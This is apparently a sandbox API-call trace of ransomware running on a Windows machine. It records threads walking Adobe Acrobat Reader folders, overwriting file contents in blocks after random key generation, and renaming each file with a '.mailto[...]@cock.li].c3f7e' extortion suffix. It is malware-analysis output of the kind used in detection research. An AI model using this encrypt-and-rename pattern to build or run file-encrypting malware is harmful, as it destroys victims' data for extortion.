	[0079.451] wcscat (in: _Dest=0x498d8a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\"
	[0079.451] wcscat (in: _Dest=0x498d8a0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\*"
	[0079.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbf128
	[0079.451] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\*", lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4e8
	[0087.486] wcscmp (_String1=".", _String2=".") returned 0
	[0087.486] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.486] wcscmp (_String1="..", _String2=".") returned 1
	[0087.486] wcscmp (_String1="..", _String2="..") returned 0
	[0087.486] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1
	[0087.486] wcscmp (_String1="nppdf32.dll", _String2=".") returned 1
	[0087.486] wcscmp (_String1="nppdf32.dll", _String2="..") returned 1
	[0087.486] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 1
	[0087.486] wcscmp (_String1="WCChromeExtn", _String2=".") returned 1
	[0087.486] wcscmp (_String1="WCChromeExtn", _String2="..") returned 1
	[0087.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x4894000
	[0087.486] wcscpy (in: _Dest=0x4894000, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser"
	[0087.486] wcscat (in: _Dest=0x4894000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\"
	[0087.486] wcscat (in: _Dest=0x4894000, _Source="WCChromeExtn" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn"
	[0089.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4894000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b00
	[0089.685] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0
	[0089.685] FindClose (in: hFindFile=0x477b4e8 | out: hFindFile=0x477b4e8) returned 1
	[0089.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbf128) returned 1
	[0089.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d8a0) returned 1
	[0089.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d5f8) returned 1

Thread:
	id = 772
	os_tid = 0x1b3c

	[0079.452] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\click on 'change' to select default pdf handler.pdf")) returned 0x20
	[0087.460] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf", dwFileAttributes=0x20) returned 1
	[0087.463] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\click on 'change' to select default pdf handler.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1af0
	[0087.463] GetFileSizeEx (in: hFile=0x1af0, lpFileSize=0x1c6bfc58 | out: lpFileSize=0x1c6bfc58*=186837) returned 1
	[0087.463] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x2d9d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.463] ReadFile (in: hFile=0x1af0, lpBuffer=0x1c6bfbdc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c6bfbd8, lpOverlapped=0x0 | out: lpBuffer=0x1c6bfbdc*, lpNumberOfBytesRead=0x1c6bfbd8*=0x4, lpOverlapped=0x0) returned 1
	[0087.469] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0087.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0087.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0087.469] NtQuerySystemTime (in: CurrentTime=0x1c6bfbb8 | out: CurrentTime=0x1c6bfbb8*=132251868142100511) returned 0x0
	[0087.469] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xce7f4fb2
	[0087.469] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xfba6dc08
	[0087.469] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x3c19551
	[0087.469] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x71c50aa6
	[0087.469] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x728ff89a
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x9ac9e059
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xbc598534
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x2b97d582
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x9c04a0fc
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x3e7da757
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x4a51e9ee
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x9f7b701f
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xa5983bf3
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xd2bdbc82
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xa46267cf
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x1228fbbd
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xade119b4
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xd8cbea32
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x4aaa003d
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x9af844b4
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xcc8c3d7d
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x7b8a1cb2
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xb73367b8
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x6b574656
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x493ed38f
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x44f24676
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xb50bfa93
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x28fcff10
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x8cca1fe7
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xdb0042b4
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0xf9cac704
	[0087.470] RtlRandom (in: Seed=0x1c6bfbc4 | out: Seed=0x1c6bfbc4) returned 0x352f5104
	[0087.477] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0087.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0087.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0087.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0087.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eaf810
	[0087.481] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.481] ReadFile (in: hFile=0x1af0, lpBuffer=0x4eaf810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1c6bfb98, lpOverlapped=0x0 | out: lpBuffer=0x4eaf810*, lpNumberOfBytesRead=0x1c6bfb98*=0xc800, lpOverlapped=0x0) returned 1
	[0087.482] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0087.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0087.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0087.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0087.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0087.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0087.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.485] WriteFile (in: hFile=0x1af0, lpBuffer=0x4f17820*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1c6bfb98, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesWritten=0x1c6bfb98*=0xc800, lpOverlapped=0x0) returned 1
	[0087.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0087.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eaf810) returned 1
	[0087.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x73) returned 0x47bc790
	[0087.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0087.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0087.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0087.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x73) returned 0x47bc090
	[0087.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0087.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0087.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0087.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0087.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x157) returned 0x2e02570
	[0087.488] SetFilePointerEx (in: hFile=0x1af0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.488] WriteFile (in: hFile=0x1af0, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x157, lpNumberOfBytesWritten=0x1c6bfc18, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x1c6bfc18*=0x157, lpOverlapped=0x0) returned 1
	[0087.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc090) returned 1
	[0087.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0087.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc790) returned 1
	[0087.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781468) returned 1
	[0087.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0087.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0087.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0087.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2e02570
	[0087.490] wcscpy (in: _Dest=0x2e02570, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf"
	[0087.490] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.490] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1c6bfbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on 'Change' to select default PDF handler.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebca00
	[0087.490] NtSetInformationFile (FileHandle=0x1af0, IoStatusBlock=0x1c6bfbc8, FileInformation=0x4ebca00, Length=0x130, FileInformationClass=0xa) returned 0x0
	[0087.491] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0087.491] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0087.491] NtQueryInformationFile (in: FileHandle=0x1af0, IoStatusBlock=0x1c6bfbdc, FileInformation=0x1c6bfbb4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1c6bfbdc, FileInformation=0x1c6bfbb4) returned 0x0
	[0087.491] NtSetInformationFile (FileHandle=0x1af0, IoStatusBlock=0x1c6bfbdc, FileInformation=0x1c6bfbb4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.492] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.492] FlushFileBuffers (hFile=0x1af0) returned 1
	[0093.129] CloseHandle (hObject=0x1af0) 

Thread:
	id = 773
	os_tid = 0x1b40

	[0079.452] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\cryptocme.sig")) returned 0x20
	[0087.411] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig", dwFileAttributes=0x20) returned 1
	[0087.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\cryptocme.sig" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\cryptocme.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1adc
	[0087.411] GetFileSizeEx (in: hFile=0x1adc, lpFileSize=0x1c73f7d8 | out: lpFileSize=0x1c73f7d8*=2932) returned 1
	[0087.411] SetFilePointerEx (in: hFile=0x1adc, liDistanceToMove=0xb70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.411] ReadFile (in: hFile=0x1adc, lpBuffer=0x1c73f75c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c73f758, lpOverlapped=0x0 | out: lpBuffer=0x1c73f75c*, lpNumberOfBytesRead=0x1c73f758*=0x4, lpOverlapped=0x0) returned 1
	[0087.412] SetFilePointerEx (in: hFile=0x1adc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.412] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0087.412] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0087.412] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.412] NtQuerySystemTime (in: CurrentTime=0x1c73f738 | out: CurrentTime=0x1c73f738*=132251868141475685) returned 0x0
	[0087.412] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x29b9f259
	[0087.412] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x918f3c57
	[0087.412] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x8393f4
	[0087.412] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0xb1dae6af
	[0087.412] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x88358011
	[0087.412] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0xe713d90e
	[0087.412] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x4f58fe2e
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x855fbcc8
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x7705289c
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x1b281177
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x71c07bf0
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x68b45fee
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x78437e66
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x6bda783f
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x91427d8a
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x3a37fbc1
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0xa19b03bd
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0xb758c124
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x77091a9
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x6d50bfe5
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0xf50a5890
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0xd4d346a4
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x83733376
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0xef49f82f
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x732e406c
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x8fb004f5
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0xe15cde20
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x4d631f23
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0xb691579
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0x5496b6a4
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0xa0eb87e3
	[0087.413] RtlRandom (in: Seed=0x1c73f744 | out: Seed=0x1c73f744) returned 0xdf2b6f9a
	[0087.420] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0087.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0087.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0087.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0087.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.422] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0087.422] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0087.422] ReadFile (in: hFile=0x1adc, lpBuffer=0x4895858, nNumberOfBytesToRead=0xb74, lpNumberOfBytesRead=0x1c73f734, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesRead=0x1c73f734*=0xb74, lpOverlapped=0x0) returned 1
	[0087.422] SetFilePointerEx (in: hFile=0x1adc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.422] WriteFile (in: hFile=0x1adc, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0xb74, lpNumberOfBytesWritten=0x1c73f730, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x1c73f730*=0xb74, lpOverlapped=0x0) returned 1
	[0087.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0087.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0087.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.423] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0087.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x27) returned 0x2d78140
	[0087.423] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
